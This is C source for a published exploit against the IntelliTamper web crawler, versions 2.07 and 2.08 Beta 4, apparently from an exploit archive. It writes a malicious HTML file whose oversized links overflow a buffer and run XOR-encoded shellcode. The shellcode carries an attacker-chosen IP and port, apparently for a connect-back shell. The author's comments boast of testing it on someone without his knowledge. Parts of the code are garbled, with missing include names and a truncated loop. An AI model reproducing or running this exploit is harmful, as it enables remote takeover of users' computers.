/********************************************************************/ /* [Crpt] IntelliTamper v2.07/2.08 Beta 4 sploit by kralor [Crpt] */ /********************************************************************/ /* NO MORE */ /* CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL */ /* CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL */ /* CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL */ /* CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL */ /********************************************************************/ /* Exploit testÃ© sur Jef_FR a son insu, ca marche bien a 100% :) */ /* Jef_FR pourra vous le confirmer hihi :P */ /* Au fait c'est universel pcq si la personne utilise la v2.08beta4 */ /* ben y'a du SEH alors le premier lien qui est fait plus petit */ /* pour la v2.07 ca fera pas planter, ca sera pris en charge par le */ /* programme.. Bref que dire de plus... Si ce n'est qu'on peut p-e */ /* jumper direct sans aller a un jmp ebx, en utilisant 0x00F1FFDC */ /* j'ai remarquÃ© que sur les deux versions une fois que ca crash */ /* (je catch l'exception meme si le prog a du SEH!) ebx pointe vers */ /* cet offset toujours le meme (~fin de notre buffer). J'ai pas */ /* regardÃ© sur d'autres plateformes, vu que j'ai deja des ret */ /* (jmp ebx) qui vont tres bien :) c'est tout les poulets, enjoy. */ /* */ /* P.S: Faut regarder que votre IP xorÃ© par 0x98 donne pas un bad */ /* opcode du genre < > " \r \n ... C'est pas sorcier a coder :) */ /********************************************************************/ /* informations: www.coromputer.net, irc undernet #coromputer */ /********************************************************************/ #include #include #include #ifdef _WIN32 #include #pragma comment(lib, "ws2_32") #else #include #endif #define SIZEOF 14448 /* IntelliTamper v2.08 Beta 4 AND v2.07 * for v2.07 it isn't this size 'cause * there's a *missing* in RET_ADDR2 * so it cuts the size. */ #define SCOFFSET 10000 /* IntelliTamper v2.08 Beta 4 */ #define RET_POS SIZEOF-4 #define RET_ADDR 0x004368C4 #define SCOFFSET2 100 /* IntelliTamper v2.07 */ #define RET_POS2 6832 #define RET_ADDR2 0x00437224 #define u_short unsigned short #define u_char unsigned char #define HOP 0xd9 /* host opcode */ #define POP 0xda /* port opcode */ #define BEGIN "hi\r\n\r\n" #define END "\r\n" int set_sc(char *host,unsigned long port, char *sc) { unsigned long ip,p; unsigned int i; ip=inet_addr(host)^0x98989898; p=htons((u_short)port); p=p<<16; p+=0x0002; p=p^0x98989898; for(i=0;i \n",prog); exit(0); } void banner(void) { printf("\n\t[Crpt] IntelliTamper v2.07/2.08 Beta 4 sploit " \ "by kralor [Crpt]\n"); printf("\t\t www.coromputer.net && undernet #coromputer\n\n"); return; } int main(int argc, char *argv[]) { char buffer[SIZEOF]; unsigned long port; FILE *file; char shellc0de[] = /* sizeof(shellc0de+xorer) == 334 bytes */ /* classic xorer */ /* "\xcc" */ "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66" "\xb9\x3f\x01\x80\x33\x98\x43\xe2\xfa" /* shellc0de */ "\x19\x5c\x50\x98\x98\x98\x13\x74\x13\x6c\xcd\xce\xfc\x39\xa8\x98" "\x98\x98\x13\xd8\x94\x13\xe8\x84\x35\x13\xf0\x90\x73\x98\x13\x5d" "\xc6\xc5\x11\x9e\x67\xae\xf0\x16\xd6\x96\x74\x70\x35\x98\x98\x98" "\xf0\xab\xaa\x98\x98\xf0\xef\xeb\xaa\xc7\xcc\x67\x48\x13\x60\xcf" "\xf0\x41\x91\x6d\x35\x70\x0b\x98\x98\x98\xab\x51\xc9\xc9\xc9\xc9" "\xd9\xc9\xd9\xc9\x67\x48\x11\xde\xbc\xcf\xf0\x74\x61\x32\xf8\x70" "\xe1\x98\x98\x98\xf0\xd9\xd9\xd9\xd9\xf0\xda\xda\xda\xda\x13\x54" "\xf2\x88\xc9\x67\xee\xbc\x67\x48\xf0\xfb\xf5\xfc\x98\x11\xfe\xa8" "\x67\xae\xf0\xea\x66\x2b\x8e\x70\xc9\x98\x98\x98\x11\xde\x86\x1b" "\x74\xcc\x15\xa4\xbc\xab\x58\xab\x51\x1b\x59\x8d\x33\x7a\x65\x5e" "\xdc\xbc\x88\xdc\x66\xdc\xbc\xa5\x66\xdc\xbc\xa4\x13\xde\xbc\x11" "\xdc\xbc\xd0\x11\xdc\xbc\xd4\x11\xdc\xbc\xc8\x15\xdc\xbc\x88\xcc" "\xc8\xc9\xc9\xc9\xf2\x99\xc9\xc9\x67\xee\xa8\xc9\x67\xce\x86\x67" "\xae\xf0\x77\x56\x78\xf8\x70\x9a\x98\x98\x98\x67\x48\xcb\xcd\xce" "\xcf\x13\xf4\xbc\x80\x13\xdd\xa4\x13\xcc\x9d\xe0\x9b\x4d\x13\xd2" "\x80\x13\xc2\xb8\x9b\x45\x7b\xaa\xd1\x13\xac\x13\x9b\x6d\xab\x67" "\x64\xab\x58\x34\xa2\x5c\xec\x9f\x59\x57\x95\x9b\x60\x73\x6a\xa3" "\xe4\xbc\x8c\xed\x79\x13\xc2\xbc\x9b\x45\xfe\x13\x94\xd3\x13\xc2" "\x84\x9b\x45\x13\x9c\x13\x9b\x5d\x73\x9a\xab\x58\x13\x4d\xc7\xc6" "\xc5\xc3\x5a\x9c\x98"; banner(); if(argc!=4) syntax(argv[0]); port=atoi(argv[3]); if(port<=0||port>65535) { printf("error: must be between 1 and 65535\r\n"); return -1; } printf("[S] ip: %s port: %d file: %s\r\n",argv[2],port,argv[1]); printf("[C] Setting universal %-39s ...","shellcode"); if(set_sc(argv[2],port,shellc0de)) return -1; printf("DONE\r\n"); file=fopen(argv[1],"w"); if(!file) { printf("error: unable to open %s\r\n",argv[1]); return -1; } printf("[C] Writing magic link for Intellitamper %-20s ...","v2.07"); fprintf(file,BEGIN); fprintf(file,"sex drugs and rock'n'roll
\r\n"); memset(buffer,0x90,sizeof(buffer)); *(unsigned long*)&buffer[RET_POS2] = RET_ADDR2; memcpy(buffer+SCOFFSET2,shellc0de,sizeof(shellc0de)-1); memcpy(buffer+6836-8,"\xEB\xE0",2); /* jmp $ - 0x10 */ memcpy(buffer+6836-16,"\xE9\x8F\xE5\xFF\xFF",5); /* jmp $ - ??? */ fprintf(file,"sexy bitch
\r\n"); printf("DONE\r\n"); printf("[C] Writing magic link for Intellitamper %-20s ...","v2.08 Beta 4"); memset(buffer,0x90,sizeof(buffer)); *(unsigned long*)&buffer[RET_POS] = RET_ADDR; memcpy(buffer+SCOFFSET,shellc0de,sizeof(shellc0de)-1); memcpy(buffer+SIZEOF-8,"\xEB\xE0",2); /* jmp $ - 0x10 */ memcpy(buffer+SIZEOF-16,"\xE9\x8F\xEB\xFF\xFF",5); /* jmp $ - ??? */ fprintf(file,"not sexy bitch
\r\n"); printf("DONE\r\n"); fprintf(file,END); fclose(file); printf("[C] All job done\r\n"); return 0; } // milw0rm.com [2008-08-13]

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